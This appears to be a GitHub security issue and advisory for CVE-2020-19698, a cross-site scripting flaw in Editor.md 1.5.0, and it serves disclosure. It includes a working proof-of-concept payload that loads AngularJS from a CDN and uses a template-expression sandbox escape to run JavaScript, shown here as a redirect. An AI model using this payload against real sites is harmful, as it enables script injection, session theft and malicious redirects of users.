Headline
CVE-2020-19698: XSS vulnerability found via <script> src attribute · Issue #700 · pandao/editor.md
Cross Site Scripting vulnerability found in Pandao Editor.md v.1.5.0 allows a remote attacker to execute arbitrary code via a crafted script to the editor parameter.
Description:
User can use <script> src attribute to include external library(ex: angularjs), and then, execute malicious javascript codes.
<script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.min.js>
</script>
<div ng-app >
{{constructor.constructor("window.location.replace('http://www.bing.com')")()}}
</div>
Actual Results
The malicious codes are executed and page redirected to bing.com
(The PoC is to display alert, but it can be changed to window.location.replace() for page redirection
Related news
GHSA-5p84-mmh9-pxgr: Pandao Editor.md vulnerable to cross-site scripting (XSS) in editor parameter
Cross-site Scripting vulnerability found in Pandao Editor.md v.1.5.0 allows a remote attacker to execute arbitrary code via a crafted script to the `editor` parameter.